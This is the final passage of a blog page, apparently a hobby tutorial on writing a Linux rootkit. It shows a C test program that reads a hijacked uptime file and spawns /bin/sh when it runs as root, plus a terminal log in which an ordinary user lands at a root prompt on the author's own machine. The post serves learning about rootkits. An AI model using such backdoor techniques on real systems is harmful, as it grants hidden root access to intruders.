</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">read_uptime</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">FILENAME</span><span class="p">,</span> <span class="s">&quot;r&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="k">if</span> <span class="p">(</span><span class="n">f</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;[-] Failed to open </span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="p">}</span>
</div></li><li><div class="line">    <span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="k">while</span> <span class="p">(</span><span class="n">c</span> <span class="o">!=</span> <span class="n">EOF</span><span class="p">){</span>
</div></li><li><div class="line">    <span class="n">printf</span> <span class="p">(</span><span class="s">&quot;%c&quot;</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="p">}</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">&quot;/bin/sh&quot;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="k">if</span> <span class="p">(</span><span class="n">getuid</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">){</span>
</div></li><li><div class="line">    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;[+] BRO NICE ROOTKIT 5/7 rated LMFAO </span><span class="se">\n</span><span class="s">bash4.20$ blaze it</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="n">execve</span><span class="p">(</span><span class="s">&quot;/bin/sh&quot;</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="p">}</span>
</div></li><li><div class="line">    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;[-] nice try but no</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">read_uptime</span><span class="p">();</span>
</div></li><li><div class="line">    <span class="n">assert</span><span class="p">(</span> <span class="n">getuid</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">);</span>
</div></li><li><div class="line">    <span class="n">get_shell</span><span class="p">();</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li></ol></pre></div>

<div class="highlight"><pre><span></span><ol><li><div class="line">user_program $ ./a.out 
</div></li><li><div class="line">i stole your uptime! no uptime information <span class="k">for</span> you. feck off...
</div></li><li><div class="line"><span class="o">[</span>+<span class="o">]</span> BRO NICE ROOTKIT <span class="m">5</span>/7 rated LMFAO 
</div></li><li><div class="line">bash4.20$ blaze it
</div></li><li><div class="line"><span class="c1">#</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    Yey! Our system backdoored by ourselves successfully!
</p>
<img src="https://i.kym-cdn.com/entries/icons/original/000/017/046/BptVE1JIEAAA3dT.jpg" style="width: 100%;">
<h4 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;"> Thank you for reading my blog! Have a nice day absolute legends! </h4>
              </div>
            </div>
          </div>
        </div>
      

      </div>
  </body>
</html>
